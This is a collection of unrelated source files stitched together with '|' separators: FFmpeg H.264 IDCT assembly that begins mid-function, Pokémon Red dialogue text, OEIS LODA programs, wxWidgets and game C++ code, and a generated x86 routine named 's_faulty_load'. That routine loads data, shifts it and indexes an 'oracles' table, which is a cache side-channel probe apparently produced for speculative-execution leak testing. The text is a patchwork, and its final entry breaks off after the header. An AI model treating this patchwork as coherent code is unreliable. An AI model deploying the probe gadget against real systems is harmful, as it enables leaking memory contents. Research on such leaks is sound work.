add r2, 128
cmp r5, 16
jl .nextblock
ADD rsp, pad
RET
.no_dc
mov r6d, dword [r1+r5*4]
lea r6, [r0+r6]
add word [r2], 32
IDCT8_ADD_MMX_START r2 , rsp
IDCT8_ADD_MMX_START r2+8, rsp+64
IDCT8_ADD_MMX_END r6 , rsp, r3
mov r6d, dword [r1+r5*4]
lea r6, [r0+r6+4]
IDCT8_ADD_MMX_END r6 , rsp+8, r3
.skipblock
add r5, 4
add r2, 128
cmp r5, 16
jl .nextblock
ADD rsp, pad
RET
INIT_XMM
; ff_h264_idct8_add4_sse2(uint8_t *dst, const int *block_offset,
; DCTELEM *block, int stride, const uint8_t nnzc[6*8])
cglobal h264_idct8_add4_8_sse2, 5, 7, 10
xor r5, r5
%ifdef PIC
lea r11, [scan8_mem]
%endif
.nextblock
movzx r6, byte [scan8+r5]
movzx r6, byte [r4+r6]
test r6, r6
jz .skipblock
cmp r6, 1
jnz .no_dc
movsx r6, word [r2]
test r6, r6
jz .no_dc
INIT_MMX
DC_ADD_MMX2_INIT r2, r3, r6
%ifdef ARCH_X86_64
%define dst_reg r10
%define dst_regd r10d
%else
%define dst_reg r1
%define dst_regd r1d
%endif
mov dst_regd, dword [r1+r5*4]
lea dst_reg, [r0+dst_reg]
DC_ADD_MMX2_OP mova, dst_reg, r3, r6
lea dst_reg, [dst_reg+r3*4]
DC_ADD_MMX2_OP mova, dst_reg, r3, r6
%ifndef ARCH_X86_64
mov r1, r1m
%endif
add r5, 4
add r2, 128
cmp r5, 16
jl .nextblock
REP_RET
.no_dc
INIT_XMM
mov dst_regd, dword [r1+r5*4]
lea dst_reg, [r0+dst_reg]
IDCT8_ADD_SSE dst_reg, r2, r3, r6
%ifndef ARCH_X86_64
mov r1, r1m
%endif
.skipblock
add r5, 4
add r2, 128
cmp r5, 16
jl .nextblock
REP_RET
INIT_MMX
h264_idct_add8_mmx_plane:
.nextblock
movzx r6, byte [scan8+r5]
movzx r6, byte [r4+r6]
or r6w, word [r2]
test r6, r6
jz .skipblock
%ifdef ARCH_X86_64
mov r0d, dword [r1+r5*4]
add r0, [r10]
%else
mov r0, r1m ; XXX r1m here is actually r0m of the calling func
mov r0, [r0]
add r0, dword [r1+r5*4]
%endif
IDCT4_ADD r0, r2, r3
.skipblock
inc r5
add r2, 32
test r5, 3
jnz .nextblock
rep ret
; ff_h264_idct_add8_mmx(uint8_t **dest, const int *block_offset,
; DCTELEM *block, int stride, const uint8_t nnzc[6*8])
cglobal h264_idct_add8_8_mmx, 5, 7, 0
mov r5, 16
add r2, 512
%ifdef PIC
lea r11, [scan8_mem]
%endif
%ifdef ARCH_X86_64
mov r10, r0
%endif
call h264_idct_add8_mmx_plane
mov r5, 32
add r2, 384
%ifdef ARCH_X86_64
add r10, gprsize
%else
add r0mp, gprsize
%endif
call h264_idct_add8_mmx_plane
RET
h264_idct_add8_mmx2_plane
.nextblock
movzx r6, byte [scan8+r5]
movzx r6, byte [r4+r6]
test r6, r6
jz .try_dc
%ifdef ARCH_X86_64
mov r0d, dword [r1+r5*4]
add r0, [r10]
%else
mov r0, r1m ; XXX r1m here is actually r0m of the calling func
mov r0, [r0]
add r0, dword [r1+r5*4]
%endif
IDCT4_ADD r0, r2, r3
inc r5
add r2, 32
test r5, 3
jnz .nextblock
rep ret
.try_dc
movsx r6, word [r2]
test r6, r6
jz .skipblock
DC_ADD_MMX2_INIT r2, r3, r6
%ifdef ARCH_X86_64
mov r0d, dword [r1+r5*4]
add r0, [r10]
%else
mov r0, r1m ; XXX r1m here is actually r0m of the calling func
mov r0, [r0]
add r0, dword [r1+r5*4]
%endif
DC_ADD_MMX2_OP movh, r0, r3, r6
.skipblock
inc r5
add r2, 32
test r5, 3
jnz .nextblock
rep ret
; ff_h264_idct_add8_mmx2(uint8_t **dest, const int *block_offset,
; DCTELEM *block, int stride, const uint8_t nnzc[6*8])
cglobal h264_idct_add8_8_mmx2, 5, 7, 0
mov r5, 16
add r2, 512
%ifdef ARCH_X86_64
mov r10, r0
%endif
%ifdef PIC
lea r11, [scan8_mem]
%endif
call h264_idct_add8_mmx2_plane
mov r5, 32
add r2, 384
%ifdef ARCH_X86_64
add r10, gprsize
%else
add r0mp, gprsize
%endif
call h264_idct_add8_mmx2_plane
RET
INIT_MMX
; r0 = uint8_t *dst, r2 = int16_t *block, r3 = int stride, r6=clobbered
h264_idct_dc_add8_mmx2:
movd m0, [r2 ] ; 0 0 X D
punpcklwd m0, [r2+32] ; x X d D
paddsw m0, [pw_32]
psraw m0, 6
punpcklwd m0, m0 ; d d D D
pxor m1, m1 ; 0 0 0 0
psubw m1, m0 ; -d-d-D-D
packuswb m0, m1 ; -d-d-D-D d d D D
pshufw m1, m0, 0xFA ; -d-d-d-d-D-D-D-D
punpcklwd m0, m0 ; d d d d D D D D
lea r6, [r3*3]
DC_ADD_MMX2_OP movq, r0, r3, r6
ret
ALIGN 16
INIT_XMM
; r0 = uint8_t *dst (clobbered), r2 = int16_t *block, r3 = int stride
x264_add8x4_idct_sse2:
movq m0, [r2+ 0]
movq m1, [r2+ 8]
movq m2, [r2+16]
movq m3, [r2+24]
movhps m0, [r2+32]
movhps m1, [r2+40]
movhps m2, [r2+48]
movhps m3, [r2+56]
IDCT4_1D w,0,1,2,3,4,5
TRANSPOSE2x4x4W 0,1,2,3,4
paddw m0, [pw_32]
IDCT4_1D w,0,1,2,3,4,5
pxor m7, m7
STORE_DIFFx2 m0, m1, m4, m5, m7, 6, r0, r3
lea r0, [r0+r3*2]
STORE_DIFFx2 m2, m3, m4, m5, m7, 6, r0, r3
ret
%macro add16_sse2_cycle 2
movzx r0, word [r4+%2]
test r0, r0
jz .cycle%1end
mov r0d, dword [r1+%1*8]
%ifdef ARCH_X86_64
add r0, r10
%else
add r0, r0m
%endif
call x264_add8x4_idct_sse2
.cycle%1end
%if %1 < 7
add r2, 64
%endif
%endmacro
; ff_h264_idct_add16_sse2(uint8_t *dst, const int *block_offset,
; DCTELEM *block, int stride, const uint8_t nnzc[6*8])
cglobal h264_idct_add16_8_sse2, 5, 5, 8
%ifdef ARCH_X86_64
mov r10, r0
%endif
; unrolling of the loop leads to an average performance gain of
; 20-25%
add16_sse2_cycle 0, 0xc
add16_sse2_cycle 1, 0x14
add16_sse2_cycle 2, 0xe
add16_sse2_cycle 3, 0x16
add16_sse2_cycle 4, 0x1c
add16_sse2_cycle 5, 0x24
add16_sse2_cycle 6, 0x1e
add16_sse2_cycle 7, 0x26
RET
%macro add16intra_sse2_cycle 2
movzx r0, word [r4+%2]
test r0, r0
jz .try%1dc
mov r0d, dword [r1+%1*8]
%ifdef ARCH_X86_64
add r0, r10
%else
add r0, r0m
%endif
call x264_add8x4_idct_sse2
jmp .cycle%1end
.try%1dc
movsx r0, word [r2 ]
or r0w, word [r2+32]
jz .cycle%1end
mov r0d, dword [r1+%1*8]
%ifdef ARCH_X86_64
add r0, r10
%else
add r0, r0m
%endif
call h264_idct_dc_add8_mmx2
.cycle%1end
%if %1 < 7
add r2, 64
%endif
%endmacro
; ff_h264_idct_add16intra_sse2(uint8_t *dst, const int *block_offset,
; DCTELEM *block, int stride, const uint8_t nnzc[6*8])
cglobal h264_idct_add16intra_8_sse2, 5, 7, 8
%ifdef ARCH_X86_64
mov r10, r0
%endif
add16intra_sse2_cycle 0, 0xc
add16intra_sse2_cycle 1, 0x14
add16intra_sse2_cycle 2, 0xe
add16intra_sse2_cycle 3, 0x16
add16intra_sse2_cycle 4, 0x1c
add16intra_sse2_cycle 5, 0x24
add16intra_sse2_cycle 6, 0x1e
add16intra_sse2_cycle 7, 0x26
RET
%macro add8_sse2_cycle 2
movzx r0, word [r4+%2]
test r0, r0
jz .try%1dc
%ifdef ARCH_X86_64
mov r0d, dword [r1+(%1&1)*8+64*(1+(%1>>1))]
add r0, [r10]
%else
mov r0, r0m
mov r0, [r0]
add r0, dword [r1+(%1&1)*8+64*(1+(%1>>1))]
%endif
call x264_add8x4_idct_sse2
jmp .cycle%1end
.try%1dc
movsx r0, word [r2 ]
or r0w, word [r2+32]
jz .cycle%1end
%ifdef ARCH_X86_64
mov r0d, dword [r1+(%1&1)*8+64*(1+(%1>>1))]
add r0, [r10]
%else
mov r0, r0m
mov r0, [r0]
add r0, dword [r1+(%1&1)*8+64*(1+(%1>>1))]
%endif
call h264_idct_dc_add8_mmx2
.cycle%1end
%if %1 == 1
add r2, 384+64
%elif %1 < 3
add r2, 64
%endif
%endmacro
; ff_h264_idct_add8_sse2(uint8_t **dest, const int *block_offset,
; DCTELEM *block, int stride, const uint8_t nnzc[6*8])
cglobal h264_idct_add8_8_sse2, 5, 7, 8
add r2, 512
%ifdef ARCH_X86_64
mov r10, r0
%endif
add8_sse2_cycle 0, 0x34
add8_sse2_cycle 1, 0x3c
%ifdef ARCH_X86_64
add r10, gprsize
%else
add r0mp, gprsize
%endif
add8_sse2_cycle 2, 0x5c
add8_sse2_cycle 3, 0x64
RET
;void ff_h264_luma_dc_dequant_idct_mmx(DCTELEM *output, DCTELEM *input, int qmul)
%macro WALSH4_1D 5
SUMSUB_BADC w, %4, %3, %2, %1, %5
SUMSUB_BADC w, %4, %2, %3, %1, %5
SWAP %1, %4, %3
%endmacro
%macro DEQUANT_MMX 3
mova m7, [pw_1]
mova m4, %1
punpcklwd %1, m7
punpckhwd m4, m7
mova m5, %2
punpcklwd %2, m7
punpckhwd m5, m7
movd m7, t3d
punpckldq m7, m7
pmaddwd %1, m7
pmaddwd %2, m7
pmaddwd m4, m7
pmaddwd m5, m7
psrad %1, %3
psrad %2, %3
psrad m4, %3
psrad m5, %3
packssdw %1, m4
packssdw %2, m5
%endmacro
%macro STORE_WORDS_MMX 5
movd t0d, %1
psrlq %1, 32
movd t1d, %1
mov [t2+%2*32], t0w
mov [t2+%4*32], t1w
shr t0d, 16
shr t1d, 16
mov [t2+%3*32], t0w
mov [t2+%5*32], t1w
%endmacro
%macro DEQUANT_STORE_MMX 1
DEQUANT_MMX m0, m1, %1
STORE_WORDS_MMX m0, 0, 1, 4, 5
STORE_WORDS_MMX m1, 2, 3, 6, 7
DEQUANT_MMX m2, m3, %1
STORE_WORDS_MMX m2, 8, 9, 12, 13
STORE_WORDS_MMX m3, 10, 11, 14, 15
%endmacro
%macro STORE_WORDS_SSE 9
movd t0d, %1
psrldq %1, 4
movd t1d, %1
psrldq %1, 4
mov [t2+%2*32], t0w
mov [t2+%4*32], t1w
shr t0d, 16
shr t1d, 16
mov [t2+%3*32], t0w
mov [t2+%5*32], t1w
movd t0d, %1
psrldq %1, 4
movd t1d, %1
mov [t2+%6*32], t0w
mov [t2+%8*32], t1w
shr t0d, 16
shr t1d, 16
mov [t2+%7*32], t0w
mov [t2+%9*32], t1w
%endmacro
%macro DEQUANT_STORE_SSE2 1
movd xmm4, t3d
movq xmm5, [pw_1]
pshufd xmm4, xmm4, 0
movq2dq xmm0, m0
movq2dq xmm1, m1
movq2dq xmm2, m2
movq2dq xmm3, m3
punpcklwd xmm0, xmm5
punpcklwd xmm1, xmm5
punpcklwd xmm2, xmm5
punpcklwd xmm3, xmm5
pmaddwd xmm0, xmm4
pmaddwd xmm1, xmm4
pmaddwd xmm2, xmm4
pmaddwd xmm3, xmm4
psrad xmm0, %1
psrad xmm1, %1
psrad xmm2, %1
psrad xmm3, %1
packssdw xmm0, xmm1
packssdw xmm2, xmm3
STORE_WORDS_SSE xmm0, 0, 1, 4, 5, 2, 3, 6, 7
STORE_WORDS_SSE xmm2, 8, 9, 12, 13, 10, 11, 14, 15
%endmacro
%macro IDCT_DC_DEQUANT 2
cglobal h264_luma_dc_dequant_idct_%1, 3,4,%2
movq m3, [r1+24]
movq m2, [r1+16]
movq m1, [r1+ 8]
movq m0, [r1+ 0]
WALSH4_1D 0,1,2,3,4
TRANSPOSE4x4W 0,1,2,3,4
WALSH4_1D 0,1,2,3,4
; shift, tmp, output, qmul
%ifdef WIN64
DECLARE_REG_TMP 0,3,1,2
; we can't avoid this, because r0 is the shift register (ecx) on win64
xchg r0, t2
%elifdef ARCH_X86_64
DECLARE_REG_TMP 3,1,0,2
%else
DECLARE_REG_TMP 1,3,0,2
%endif
cmp t3d, 32767
jg .big_qmul
add t3d, 128 << 16
%ifidn %1,mmx
DEQUANT_STORE_MMX 8
%else
DEQUANT_STORE_SSE2 8
%endif
RET
.big_qmul:
bsr t0d, t3d
add t3d, 128 << 16
mov t1d, 7
cmp t0d, t1d
cmovg t0d, t1d
inc t1d
shr t3d, t0b
sub t1d, t0d
%ifidn %1,mmx
movd m6, t1d
DEQUANT_STORE_MMX m6
%else
movd xmm6, t1d
DEQUANT_STORE_SSE2 xmm6
%endif
RET
%endmacro
INIT_MMX
IDCT_DC_DEQUANT mmx, 0
IDCT_DC_DEQUANT sse2, 7
|
_SilphCo10Text_5a1d3::
text "Waaaaa!"
cont "I'm scared!"
done
_SilphCo10Text_5a1d8::
text "Please keep quiet"
line "about my crying!"
done
_SilphCo10BattleText1::
text "Welcome to the"
line "10F! So good of"
cont "you to join me!"
done
_SilphCo10EndBattleText1::
text "I'm"
line "stunned!"
prompt
_SilphCo10AfterBattleText1::
text "Nice try, but the"
line "boardroom is up"
cont "one more floor!"
done
_SilphCo10BattleText2::
text "Enough of your"
line "silly games!"
done
_SilphCo10EndBattleText2::
text "No"
line "continues left!"
prompt
_SilphCo10AfterBattleText2::
text "Are you satisfied"
line "with beating me?"
cont "Then go on home!"
done
|
; A141134: Hankel transform of C(2n+4,n+4).
; 1,-8,8,1,1,-16,16,1,1,-24,24,1,1,-32,32,1,1,-40,40,1,1,-48,48,1,1,-56,56,1,1,-64,64,1,1,-72,72,1,1,-80,80,1,1,-88,88,1,1,-96,96,1,1,-104,104
add $0,2
mov $2,-2
bin $2,$0
div $2,2
mov $3,2
mul $3,$2
mod $2,2
mul $3,2
mul $2,$3
mul $2,3
lpb $2
sub $2,5
gcd $3,$0
mov $0,1
lpe
mov $0,$3
|
;*****************************************************
;
; Video Technology library for small C compiler
;
; Juergen Buchmueller
;
;*****************************************************
; ----- char __CALLEE__ *vz_midstr_callee(char *str, int pos)
XLIB vz_midstr_callee
XDEF ASMDISP_VZ_MIDSTR_CALLEE
.vz_midstr_callee
pop af
pop de
pop hl
push af
; de = int pos
; hl = char *str
.asmentry
add hl,de
ld l,(hl)
ld h,0
ret
DEFC ASMDISP_VZ_MIDSTR_CALLEE = asmentry - vz_midstr_callee
|
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: GeoDex
MODULE: File
FILE: fileManager.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
ted 3/3/92 Initial version
DESCRIPTION:
This file assembles the File module of GeoDex.
$Id: fileManager.asm,v 1.1 97/04/04 15:49:55 newdeal Exp $
------------------------------------------------------------------------------@
_File = 1
;-----------------------------------------------------------------------------
; Include common definitions
;-----------------------------------------------------------------------------
include geodexGeode.def
;-----------------------------------------------------------------------------
; Include definitions for this module
;-----------------------------------------------------------------------------
include fileVariable.def
;-----------------------------------------------------------------------------
; Include code
;-----------------------------------------------------------------------------
include fileDocument.asm
end
|
; A215270: a(n) = a(n-1)*a(n-2) with a(0)=1, a(1)=6.
; 1,6,6,36,216,7776,1679616,13060694016,21936950640377856,286511799958070431838109696
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
mov $1,6
pow $1,$0
mov $0,$1
|
///////////////////////////////////////////////////////////////////////////////
// Name: src/osx/checklst.cpp
// Purpose: implementation of wxCheckListBox class
// Author: Stefan Csomor
// Modified by:
// Created: 1998-01-01
// Copyright: (c) Stefan Csomor
// Licence: wxWindows licence
///////////////////////////////////////////////////////////////////////////////
//
// new DataBrowser-based version
#include "wx/wxprec.h"
#if wxUSE_CHECKLISTBOX
#include "wx/checklst.h"
#ifndef WX_PRECOMP
#include "wx/arrstr.h"
#endif
#include "wx/osx/private.h"
wxBEGIN_EVENT_TABLE(wxCheckListBox, wxListBox)
wxEND_EVENT_TABLE()
void wxCheckListBox::Init()
{
}
bool wxCheckListBox::Create(
wxWindow *parent,
wxWindowID id,
const wxPoint &pos,
const wxSize &size,
const wxArrayString& choices,
long style,
const wxValidator& validator,
const wxString &name )
{
wxCArrayString chs( choices );
return Create( parent, id, pos, size, chs.GetCount(), chs.GetStrings(), style, validator, name );
}
bool wxCheckListBox::Create(
wxWindow *parent,
wxWindowID id,
const wxPoint& pos,
const wxSize& size,
int n,
const wxString choices[],
long style,
const wxValidator& validator,
const wxString& name )
{
wxASSERT_MSG( !(style & wxLB_MULTIPLE) || !(style & wxLB_EXTENDED),
wxT("only one of listbox selection modes can be specified") );
if ( !wxCheckListBoxBase::Create( parent, id, pos, size, n, choices, style & ~(wxHSCROLL | wxVSCROLL), validator, name ) )
return false;
int colwidth = 18;
// TODO adapt the width according to the window variant
m_checkColumn = GetListPeer()->InsertCheckColumn(0, wxEmptyString, true, wxALIGN_CENTER, colwidth);
return true;
}
// ----------------------------------------------------------------------------
// wxCheckListBox functions
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// wxCheckListBox functions
// ----------------------------------------------------------------------------
bool wxCheckListBox::IsChecked(unsigned int n) const
{
wxCHECK_MSG( IsValid(n), false,
wxT("invalid index in wxCheckListBox::IsChecked") );
// It's possible that m_checks has not yet been expanded to match the
// wxCheckListBox::GetCount() value (for example while in the midst of
// appending a new item) so double-check that we don't read beyond the end
// of the array.
if (n < m_checks.size())
return m_checks[n] != 0;
return false;
}
void wxCheckListBox::Check(unsigned int n, bool check)
{
wxCHECK_RET( IsValid(n),
wxT("invalid index in wxCheckListBox::Check") );
// intermediate var is needed to avoid compiler warning with VC++
bool isChecked = m_checks[n] != 0;
if ( check != isChecked )
{
m_checks[n] = check;
GetListPeer()->UpdateLine(n);
}
}
void wxCheckListBox::GetValueCallback( unsigned int n, wxListWidgetColumn* col , wxListWidgetCellValue& value )
{
if ( col == m_checkColumn )
value.Check( IsChecked( n ) );
else
wxListBox::GetValueCallback( n, col, value );
}
void wxCheckListBox::SetValueCallback( unsigned int n, wxListWidgetColumn* col , wxListWidgetCellValue& value )
{
if ( col == m_checkColumn )
{
Check( n, value.IsChecked() );
wxCommandEvent event( wxEVT_CHECKLISTBOX, GetId() );
event.SetInt( n );
event.SetString( GetString( n ) );
event.SetEventObject( this );
HandleWindowEvent( event );
}
}
// ----------------------------------------------------------------------------
// methods forwarded to wxListBox
// ----------------------------------------------------------------------------
void wxCheckListBox::OnItemInserted(unsigned int pos)
{
wxListBox::OnItemInserted(pos);
m_checks.Insert(false, pos );
}
void wxCheckListBox::DoDeleteOneItem(unsigned int n)
{
wxListBox::DoDeleteOneItem(n);
m_checks.RemoveAt(n);
}
void wxCheckListBox::DoClear()
{
wxListBox::DoClear();
m_checks.Empty();
}
#endif // wxUSE_CHECKLISTBOX
|
//! \file
//! JoinState class declaration
#include "MainState.h"
#include "StateMachine.h"
#include "NetworkManager.h"
#include <iomanip>
#include <sstream>
unsigned int JoinState::Index;
unsigned char JoinState::IP[4];
unsigned short JoinState::Port;
void JoinState::Init()
{
Index = 0;
std::string myAddress = NetworkManager::GetAddress();
std::stringstream addr(myAddress);
std::string part;
for (std::size_t i = 0; i < 4 && std::getline(addr, part, '.'); i++)
{
std::stringstream num(part);
unsigned short n;
num >> n;
IP[i] = n;
}
Port = 0;
}
void JoinState::LocalUpdate()
{
if (InputHandler::InputTime == 0)
{
if (InputHandler::LastInput == Left)
{
if (Index > 0)
{
Index--;
}
else
{
StateMachine::Change(new MainMenuState());
}
}
else if (InputHandler::LastInput == Right)
{
if (Index < 16)
{
Index++;
}
else
{
std::ostringstream ss;
ss << (unsigned short)IP[0] << "."
<< (unsigned short)IP[1] << "."
<< (unsigned short)IP[2] << "."
<< (unsigned short)IP[3];
NetworkManager::ResetConnections();
NetworkManager::GetConnection(ss.str(), Port);
StateMachine::Change(new ClientWaitingState());
}
}
else if (InputHandler::LastInput == Up)
{
AddrIncrement(1);
}
else if (InputHandler::LastInput == Down)
{
AddrIncrement(-1);
}
}
}
void JoinState::Render() const
{
std::ostringstream ss;
ss.fill('0');
ss << std::setw(3) << (unsigned short)IP[0] << "."
<< std::setw(3) << (unsigned short)IP[1] << "."
<< std::setw(3) << (unsigned short)IP[2] << "."
<< std::setw(3) << (unsigned short)IP[3] << ":"
<< std::setw(5) << Port;
std::string disp = ss.str();
Renderer::DrawText(disp, 24, 60, 100);
int iPos = Index;
if (Index > 2) iPos++;
if (Index > 5) iPos++;
if (Index > 8) iPos++;
if (Index > 11) iPos++;
Renderer::DrawText("^", 24, 60 + 24 * iPos, 136);
}
void JoinState::AddrIncrement(int amount)
{
int delta = amount;
if (Index < 12)
{
for (unsigned int i = Index % 3; i < 2; i++)
{
delta *= 10;
}
unsigned char &selected = IP[Index / 3];
if (selected + delta == (selected + delta + 255) % 255)
{
selected += delta;
}
else
{
selected = (amount > 0) ? 255 : 0;
}
}
else
{
for (unsigned int i = Index - 12; i < 4; i++)
{
delta *= 10;
}
unsigned short &port = Port;
if (port + delta == (port + delta + 65535) % 65535)
{
port += delta;
}
else
{
port = (amount > 0) ? 65535 : 0;
}
}
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xa39a, %rax
nop
nop
sub %rcx, %rcx
movw $0x6162, (%rax)
nop
nop
nop
nop
and $7638, %r14
lea addresses_D_ht+0xacda, %rsi
lea addresses_A_ht+0x17f7a, %rdi
nop
nop
add %rdx, %rdx
mov $122, %rcx
rep movsl
cmp $17089, %rcx
lea addresses_A_ht+0xa59a, %r14
nop
nop
cmp %rcx, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm5
and $0xffffffffffffffc0, %r14
vmovntdq %ymm5, (%r14)
nop
nop
nop
nop
add $61829, %r14
lea addresses_UC_ht+0xb6ca, %r14
clflush (%r14)
nop
xor %rdi, %rdi
mov (%r14), %dx
nop
nop
add %r11, %r11
lea addresses_WC_ht+0xf68a, %r14
nop
nop
nop
nop
nop
sub $14227, %r11
vmovups (%r14), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %rcx
nop
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_WC_ht+0x1715a, %r11
cmp %r14, %r14
mov (%r11), %di
add %rsi, %rsi
lea addresses_WC_ht+0x1191a, %rcx
nop
nop
and $19211, %rdx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm1
and $0xffffffffffffffc0, %rcx
vmovaps %ymm1, (%rcx)
nop
nop
sub $33997, %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r9
push %rax
push %rdi
push %rdx
push %rsi
// Store
lea addresses_PSE+0x15d1a, %rax
nop
nop
nop
nop
cmp $63784, %rdi
mov $0x5152535455565758, %rdx
movq %rdx, %xmm1
movups %xmm1, (%rax)
nop
nop
nop
nop
nop
add $53298, %rsi
// Faulty Load
lea addresses_PSE+0x15d1a, %rdx
nop
nop
nop
nop
dec %r13
movups (%rdx), %xmm2
vpextrq $1, %xmm2, %rdi
lea oracles, %rdx
and $0xff, %rdi
shlq $12, %rdi
mov (%rdx,%rdi,1), %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rax
pop %r9
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': True, 'AVXalign': True, 'size': 2, 'congruent': 6, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A245879: Number of distinct fractional chromatic numbers among all connected graphs on n nodes.
; Submitted by Jon Maiga
; 1,1,2,3,5,7,11,17,29,50
mov $1,2
mov $2,$0
div $0,2
mul $0,$2
pow $1,$2
add $1,$0
add $2,2
div $1,$2
mov $0,$1
add $0,1
|
; A069113: Squarefree part of C(2n,n), the central binomial numbers: the smallest number such that a(n)*C(2n,n) is a square.
; Submitted by Christian Krause
